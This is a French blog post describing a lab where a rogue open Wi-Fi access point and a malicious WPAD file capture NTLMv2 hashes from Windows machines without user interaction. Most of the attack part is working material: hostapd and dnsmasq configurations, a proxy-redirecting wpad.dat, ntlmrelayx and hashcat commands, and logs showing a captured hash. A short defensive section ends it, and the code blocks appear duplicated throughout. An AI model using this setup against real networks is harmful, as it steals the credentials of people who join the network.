June 30, 2026
NTLMv2 Hash Capture sans Interaction Utilisateur
Comment j’ai construit un environnement de test pour capturer des identifiants Windows via WPAD en moins de 15 minutes

By ATTE-THM
2 min read
"Imaginez un scénario où un simple accès Wi-Fi ouvert peut compromettre les identifiants de connexion d'un utilisateur Windows sans qu'il n'ait à cliquer sur quoi que ce soit. C'est exactement ce que j'ai réalisé dans mon laboratoire."
- Les machines Windows modernes utilisent WPAD (Web Proxy Auto-Discovery) pour détecter automatiquement les proxys.
- Par défaut, Windows tente de télécharger
http://wpad.local/wpad.datou via DHCP option 252. - Cette fonctionnalité, bien qu'utile en entreprise, peut être exploitée dans des environnements non sécurisés.
Objectif de l'article :
- Construire un laboratoire d'attaque complet
- Capturer des hashs NTLMv2 sans interaction utilisateur
- Comprendre le flux complet de l'attaque
Matériel utilisé :
- Machine attaquante : Kali Linux (ou tout système Linux)
- Carte Wi-Fi : Compatible mode AP (ex: ALFA AWUS036ACH)
- Machine cible : Windows 10/11 (VM ou physique)
Outils installés
sudo apt update
sudo apt install -y hostapd dnsmasq python3 impacket-scripts respondersudo apt update
sudo apt install -y hostapd dnsmasq python3 impacket-scripts responderStructure des fichiers
~/Wi-Fi/
├── AP.conf # Configuration hostapd
├── wpad.dat # Script WPAD
└── dns.conf # Configuration dnsmasq
/var/www/html/
└── connecttest.txt # Fichier pour le test de connectivité~/Wi-Fi/
├── AP.conf # Configuration hostapd
├── wpad.dat # Script WPAD
└── dns.conf # Configuration dnsmasq
/var/www/html/
└── connecttest.txt # Fichier pour le test de connectivitéSchéma du réseau :
┌─────────────────────────────────────────────────────────┐
│ Machine Attaquante │
│ (10.0.0.1) │
│ │
│ ┌────────────┐ ┌────────────┐ ┌──────────────────┐ │
│ │ hostapd │ │ dnsmasq │ │ Serveur HTTP │ │
│ │ (AP) │ │ (DHCP/DNS) │ │ (Port 80) │ │
│ └─────┬──────┘ └─────┬──────┘ └────────┬─────────┘ │
│ │ │ │ │
│ └───────────────┼───────────────────┘ │
│ │ │
│ ┌────▼────┐ │
│ │ wlan1 │ │
│ └────┬────┘ │
└────────────────────────┼────────────────────────────────┘
│
│ Wi-Fi (ATTE-THM)
│
┌────────────────────────▼────────────────────────────────┐
│ Machine Cible Windows 10 │
│ (10.0.0.95) │
│ │
│ 1. Connexion Wi-Fi → Obtient IP via DHCP │
│ 2. Télécharge wpad.dat via DHCP option 252 │
│ 3. Applique le proxy 10.0.0.1:3128 │
│ 4. Envoie requêtes HTTP authentifiées NTLM │
└─────────────────────────────────────────────────────────┘┌─────────────────────────────────────────────────────────┐
│ Machine Attaquante │
│ (10.0.0.1) │
│ │
│ ┌────────────┐ ┌────────────┐ ┌──────────────────┐ │
│ │ hostapd │ │ dnsmasq │ │ Serveur HTTP │ │
│ │ (AP) │ │ (DHCP/DNS) │ │ (Port 80) │ │
│ └─────┬──────┘ └─────┬──────┘ └────────┬─────────┘ │
│ │ │ │ │
│ └───────────────┼───────────────────┘ │
│ │ │
│ ┌────▼────┐ │
│ │ wlan1 │ │
│ └────┬────┘ │
└────────────────────────┼────────────────────────────────┘
│
│ Wi-Fi (ATTE-THM)
│
┌────────────────────────▼────────────────────────────────┐
│ Machine Cible Windows 10 │
│ (10.0.0.95) │
│ │
│ 1. Connexion Wi-Fi → Obtient IP via DHCP │
│ 2. Télécharge wpad.dat via DHCP option 252 │
│ 3. Applique le proxy 10.0.0.1:3128 │
│ 4. Envoie requêtes HTTP authentifiées NTLM │
└─────────────────────────────────────────────────────────┘Fichiers de Configuration
1. hostapd.conf (AP.conf)
interface=wlan1
driver=nl80211
ssid=ATTE-THM
channel=6
hw_mode=g
auth_algs=1
wpa=0 # Réseau ouvert (sans mot de passe)
ignore_broadcast_ssid=0interface=wlan1
driver=nl80211
ssid=ATTE-THM
channel=6
hw_mode=g
auth_algs=1
wpa=0 # Réseau ouvert (sans mot de passe)
ignore_broadcast_ssid=02. dnsmasq.conf (dns.conf)
port=0
interface=wlan1
dhcp-range=10.0.0.2,10.0.0.254,255.0.0.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
dhcp-option-force=252,http://10.0.0.1/wpad.dat
log-queries
log-dhcp
server=8.8.8.8
server=8.8.4.4
address=/10.0.0.1port=0
interface=wlan1
dhcp-range=10.0.0.2,10.0.0.254,255.0.0.0,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
dhcp-option-force=252,http://10.0.0.1/wpad.dat
log-queries
log-dhcp
server=8.8.8.8
server=8.8.4.4
address=/10.0.0.13. wpad.dat
function FindProxyForURL(url, host) {
// REDIRIGE TOUTES LES REQUÊTES HTTP via notre proxy
if (url.substring(0, 5) === "http:") {
return "PROXY 10.0.0.1:3128";
}
// REDIRIGE TOUTES LES REQUÊTES HTTPS (nécessite un certificat)
// Décommentez si vous avez un certificat valide
// if (url.substring(0, 6) === "https:") {
// return "PROXY 10.0.0.1:3128";
// }
return "DIRECT";
}function FindProxyForURL(url, host) {
// REDIRIGE TOUTES LES REQUÊTES HTTP via notre proxy
if (url.substring(0, 5) === "http:") {
return "PROXY 10.0.0.1:3128";
}
// REDIRIGE TOUTES LES REQUÊTES HTTPS (nécessite un certificat)
// Décommentez si vous avez un certificat valide
// if (url.substring(0, 6) === "https:") {
// return "PROXY 10.0.0.1:3128";
// }
return "DIRECT";
}Mise en Œuvre Étape par Étape
Étape 1 : Lancer le Point d'Accès Wi-Fi
sudo hostapd ~/Wi-Fi/AP.confsudo hostapd ~/Wi-Fi/AP.confÉtape 2 : Démarrer le Serveur DHCP/DNS
sudo dnsmasq -C ~/Wi-Fi/dns.conf --no-daemonsudo dnsmasq -C ~/Wi-Fi/dns.conf --no-daemonÉtape 3 : Servir le Fichier WPAD (Port 80)
sudo python3 -m http.server 80 --directory ~/Wi-Fisudo python3 -m http.server 80 --directory ~/Wi-FiÉtape 4 : Lancer l'Attaque
sudo impacket-ntlmrelayx --http-port 3128 -smb2support -v --no-smb-serversudo impacket-ntlmrelayx --http-port 3128 -smb2support -v --no-smb-serverRésultats et Captures
Logs du Serveur HTTP :
10.0.0.95 - - [30/Jun/2026 08:49:18] "GET /wpad.dat HTTP/1.1" 200 -
10.0.0.95 - - [30/Jun/2026 08:49:24] "GET /connecttest.txt HTTP/1.1" 200 -10.0.0.95 - - [30/Jun/2026 08:49:18] "GET /wpad.dat HTTP/1.1" 200 -
10.0.0.95 - - [30/Jun/2026 08:49:24] "GET /connecttest.txt HTTP/1.1" 200 -Logs de ntlmrelayx :
[*] (HTTP): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] (HTTP): Connection from 10.0.0.95 controlled
[*] Proxy-Auth| NTLMv2 Client : 10.0.0.95
[*] Proxy-Auth| NTLMv2 Username : HP\X
[*] Proxy-Auth| NTLMv2 Hash : x::HP:4330648187a585b1:1823E82FA09ACB278CBAF75DFBEEEDC:...[*] (HTTP): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] (HTTP): Connection from 10.0.0.95 controlled
[*] Proxy-Auth| NTLMv2 Client : 10.0.0.95
[*] Proxy-Auth| NTLMv2 Username : HP\X
[*] Proxy-Auth| NTLMv2 Hash : x::HP:4330648187a585b1:1823E82FA09ACB278CBAF75DFBEEEDC:...⚠️ Pourquoi le Relais Échoue (et Pourquoi ce n'est pas Grave)
Le self-relay est bloqué sur Windows moderne
Cause : SMB Signing obligatoire sur Windows 10/11
Logs typiques : [-] SMBClient error: Connection was reset
Solution :
- Capturer les hashs → Craquer avec Hashcat
- Relayer vers un autre service (LDAP, HTTP, etc.)
- Utiliser une ancienne version de Windows pour le relais
Les hashs sont quand même capturés !
# Vérifier les hashs capturés
ls -la /usr/share/responder/logs/
# Craquer avec Hashcat
hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-*.txt /usr/share/wordlists/rockyou.txt# Vérifier les hashs capturés
ls -la /usr/share/responder/logs/
# Craquer avec Hashcat
hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-*.txt /usr/share/wordlists/rockyou.txtSécurité et Défenses
Comment se protéger contre cette attaque ?
- Désactiver WPAD (si non utilisé) :
# Sur Windows
reg add HKLM\Software\Policies\Microsoft\Windows\Network\AutoDiscover /v Enable /t REG_DWORD /d 0# Sur Windows
reg add HKLM\Software\Policies\Microsoft\Windows\Network\AutoDiscover /v Enable /t REG_DWORD /d 02. Activer SMB Signing :
Set-SmbServerConfiguration -RequireSecuritySignature $trueSet-SmbServerConfiguration -RequireSecuritySignature $true- Utiliser des certificats pour WPAD (WPADS) :
- Utiliser
https://wpad.domain.com/wpad.dat - Nécessite PKI interne
- Segmenter les réseaux :
- Ne pas mélanger réseaux publics et entreprises
- Utiliser 802.1X pour l'authentification Wi-Fi
- Politique de mots de passe robuste :
- Longueur minimum 12 caractères
- Complexité (majuscules, minuscules, chiffres, spéciaux)
- Rotation régulière